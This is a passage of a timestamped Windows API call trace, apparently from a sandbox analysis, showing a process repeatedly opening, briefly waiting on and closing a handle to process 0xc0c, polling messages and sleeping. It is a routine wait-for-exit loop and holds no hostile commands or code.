[0263.668] Sleep (dwMilliseconds=0x1) [0263.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.683] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.700] CloseHandle (hObject=0xb7c) returned 1 [0263.700] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.700] Sleep (dwMilliseconds=0x1) [0263.714] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.714] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.742] CloseHandle (hObject=0xb7c) returned 1 [0263.742] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.742] Sleep (dwMilliseconds=0x1) [0263.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.745] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.761] CloseHandle (hObject=0xb7c) returned 1 [0263.761] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.761] Sleep (dwMilliseconds=0x1) [0263.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.777] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.792] CloseHandle (hObject=0xb7c) returned 1 [0263.792] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.792] Sleep (dwMilliseconds=0x1) [0263.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.808] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.824] CloseHandle (hObject=0xb7c) returned 1 [0263.824] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.824] Sleep (dwMilliseconds=0x1) [0263.839] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.839] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.855] CloseHandle (hObject=0xb7c) returned 1 [0263.855] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.855] Sleep (dwMilliseconds=0x1) [0263.870] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.870] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.886] CloseHandle (hObject=0xb7c) returned 1 [0263.886] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.886] Sleep (dwMilliseconds=0x1) [0263.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.902] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.917] CloseHandle (hObject=0xb7c) returned 1 [0263.917] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.917] Sleep (dwMilliseconds=0x1) [0263.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.934] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.951] CloseHandle (hObject=0xb7c) returned 1 [0263.951] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.951] Sleep (dwMilliseconds=0x1) [0263.964] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.964] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.980] CloseHandle (hObject=0xb7c) returned 1 [0263.980] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.980] Sleep (dwMilliseconds=0x1) [0263.995] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.996] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.011] CloseHandle (hObject=0xb7c) returned 1 [0264.011] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.011] Sleep (dwMilliseconds=0x1) [0264.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.027] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.043] CloseHandle (hObject=0xb7c) returned 1 [0264.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.043] Sleep (dwMilliseconds=0x1) [0264.058] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.058] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.073] CloseHandle (hObject=0xb7c) returned 1 [0264.074] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.074] Sleep (dwMilliseconds=0x1) [0264.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.090] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.105] CloseHandle (hObject=0xb7c) returned 1 [0264.105] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.105] Sleep (dwMilliseconds=0x1) [0264.120] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.120] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.136] CloseHandle (hObject=0xb7c) returned 1 [0264.136] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.136] Sleep (dwMilliseconds=0x1) [0264.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.152] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.167] CloseHandle (hObject=0xb7c) returned 1 [0264.167] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.167] Sleep (dwMilliseconds=0x1) [0264.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.184] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.198] CloseHandle (hObject=0xb7c) returned 1 [0264.199] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.199] Sleep (dwMilliseconds=0x1) [0264.214] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.214] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.230] CloseHandle (hObject=0xb7c) returned 1 [0264.230] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.230] Sleep (dwMilliseconds=0x1) [0264.245] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.246] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.261] CloseHandle (hObject=0xb7c) returned 1 [0264.261] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.261] Sleep (dwMilliseconds=0x1) [0264.277] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.277] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.292] CloseHandle (hObject=0xb7c) returned 1 [0264.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.293] Sleep (dwMilliseconds=0x1) [0264.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.294] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.304] CloseHandle (hObject=0xb7c) returned 1 [0264.304] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.304] Sleep (dwMilliseconds=0x1) [0264.306] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.306] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.316] CloseHandle (hObject=0xb7c) returned 1 [0264.316] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.316] Sleep (dwMilliseconds=0x1) [0264.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.317] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.328] CloseHandle (hObject=0xb7c) returned 1 [0264.328] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.328] Sleep (dwMilliseconds=0x1) [0264.329] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.329] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.352] CloseHandle (hObject=0xb7c) returned 1 [0264.352] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.352] Sleep (dwMilliseconds=0x1) [0264.367] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0264.367] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0264.393] CloseHandle (hObject=0xb7c) returned 1 [0264.393] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.393] Sleep (dwMilliseconds=0x1) [0264.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb80 [0264.398] WaitForSingleObject (hHandle=0xb80, dwMilliseconds=0xa) returned 0x102 [0264.414] CloseHandle (hObject=0xb80) returned 1 [0264.414] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.414] Sleep (dwMilliseconds=0x1) [0264.430] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb80 [0264.430] WaitForSingleObject (hHandle=0xb80, dwMilliseconds=0xa) returned 0x102 [0264.445] CloseHandle (hObject=0xb80) returned 1 [0264.445] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.445] Sleep (dwMilliseconds=0x1) [0264.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb80 [0264.461] WaitForSingleObject (hHandle=0xb80, dwMilliseconds=0xa) returned 0x102 [0264.478] CloseHandle (hObject=0xb80) returned 1 [0264.478] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.478] Sleep (dwMilliseconds=0x1) [0264.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb84 [0264.492] WaitForSingleObject (hHandle=0xb84, dwMilliseconds=0xa) returned 0x102 [0264.508] CloseHandle (hObject=0xb84) returned 1 [0264.508] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.508] Sleep (dwMilliseconds=0x1) [0264.523] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb84 [0264.523] WaitForSingleObject (hHandle=0xb84, dwMilliseconds=0xa) returned 0x102 [0264.539] CloseHandle (hObject=0xb84) returned 1 [0264.539] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.539] Sleep (dwMilliseconds=0x1) [0264.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb88 [0264.561] WaitForSingleObject (hHandle=0xb88, dwMilliseconds=0xa) returned 0x102 [0264.571] CloseHandle (hObject=0xb88) returned 1 [0264.571] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.571] Sleep (dwMilliseconds=0x1) [0264.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb8c [0264.587] WaitForSingleObject (hHandle=0xb8c, dwMilliseconds=0xa) returned 0x102 [0264.602] CloseHandle (hObject=0xb8c) returned 1 [0264.602] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.602] Sleep (dwMilliseconds=0x1) [0264.617] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb8c [0264.617] WaitForSingleObject (hHandle=0xb8c, dwMilliseconds=0xa) returned 0x102 [0264.633] CloseHandle (hObject=0xb8c) returned 1 [0264.633] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.633] Sleep (dwMilliseconds=0x1) [0264.648] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb94 [0264.648] WaitForSingleObject (hHandle=0xb94, dwMilliseconds=0xa) returned 0x102 [0264.668] CloseHandle (hObject=0xb94) returned 1 [0264.668] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.668] Sleep (dwMilliseconds=0x1) [0264.680] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb94 [0264.680] WaitForSingleObject (hHandle=0xb94, dwMilliseconds=0xa) returned 0x102 [0264.696] CloseHandle (hObject=0xb94) returned 1 [0264.696] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.696] Sleep (dwMilliseconds=0x1) [0264.711] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb94 [0264.711] WaitForSingleObject (hHandle=0xb94, dwMilliseconds=0xa) returned 0x102 [0264.726] CloseHandle (hObject=0xb94) returned 1 [0264.726] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.726] Sleep (dwMilliseconds=0x1) [0264.756] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb94 [0264.756] WaitForSingleObject (hHandle=0xb94, dwMilliseconds=0xa) returned 0x102 [0264.758] CloseHandle (hObject=0xb94) returned 1 [0264.758] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.758] Sleep (dwMilliseconds=0x1) [0264.775] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb94 [0264.775] WaitForSingleObject (hHandle=0xb94, dwMilliseconds=0xa) returned 0x102 [0264.789] CloseHandle (hObject=0xb94) returned 1 [0264.789] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.789] Sleep (dwMilliseconds=0x1) [0264.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xba4 [0264.808] WaitForSingleObject (hHandle=0xba4, dwMilliseconds=0xa) returned 0x102 [0264.821] CloseHandle (hObject=0xba4) returned 1 [0264.821] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.821] Sleep (dwMilliseconds=0x1) [0264.836] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xba4 [0264.836] WaitForSingleObject (hHandle=0xba4, dwMilliseconds=0xa) returned 0x102 [0264.854] CloseHandle (hObject=0xba4) returned 1 [0264.854] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.857] Sleep (dwMilliseconds=0x1) [0264.876] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0264.876] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0264.887] CloseHandle (hObject=0xbb4) returned 1 [0264.887] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.887] Sleep (dwMilliseconds=0x1) [0264.898] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0264.898] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0264.914] CloseHandle (hObject=0xbb4) returned 1 [0264.914] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.914] Sleep (dwMilliseconds=0x1) [0264.936] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0264.936] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0264.945] CloseHandle (hObject=0xbb4) returned 1 [0264.945] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.945] Sleep (dwMilliseconds=0x1) [0264.961] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0264.961] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0264.976] CloseHandle (hObject=0xbb4) returned 1 [0264.976] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0264.976] Sleep (dwMilliseconds=0x1) [0264.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0264.992] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.008] CloseHandle (hObject=0xbb4) returned 1 [0265.008] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.008] Sleep (dwMilliseconds=0x1) [0265.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.023] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.039] CloseHandle (hObject=0xbb4) returned 1 [0265.039] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.039] Sleep (dwMilliseconds=0x1) [0265.055] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.055] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.070] CloseHandle (hObject=0xbb4) returned 1 [0265.070] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.070] Sleep (dwMilliseconds=0x1) [0265.086] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.086] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.102] CloseHandle (hObject=0xbb4) returned 1 [0265.102] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.102] Sleep (dwMilliseconds=0x1) [0265.117] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.117] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.133] CloseHandle (hObject=0xbb4) returned 1 [0265.133] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.133] Sleep (dwMilliseconds=0x1) [0265.148] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.148] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.164] CloseHandle (hObject=0xbb4) returned 1 [0265.164] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.164] Sleep (dwMilliseconds=0x1) [0265.180] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.180] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.195] CloseHandle (hObject=0xbb4) returned 1 [0265.195] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.195] Sleep (dwMilliseconds=0x1) [0265.211] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.211] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.226] CloseHandle (hObject=0xbb4) returned 1 [0265.226] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.227] Sleep (dwMilliseconds=0x1) [0265.242] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.242] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.258] CloseHandle (hObject=0xbb4) returned 1 [0265.258] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.258] Sleep (dwMilliseconds=0x1) [0265.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.273] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.289] CloseHandle (hObject=0xbb4) returned 1 [0265.289] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.289] Sleep (dwMilliseconds=0x1) [0265.305] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.305] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.315] CloseHandle (hObject=0xbb4) returned 1 [0265.315] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.315] Sleep (dwMilliseconds=0x1) [0265.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.317] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.327] CloseHandle (hObject=0xbb4) returned 1 [0265.327] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.327] Sleep (dwMilliseconds=0x1) [0265.328] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.328] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.352] CloseHandle (hObject=0xbb4) returned 1 [0265.352] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.352] Sleep (dwMilliseconds=0x1) [0265.368] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.368] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.383] CloseHandle (hObject=0xbb4) returned 1 [0265.383] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.383] Sleep (dwMilliseconds=0x1) [0265.399] OpenProcess 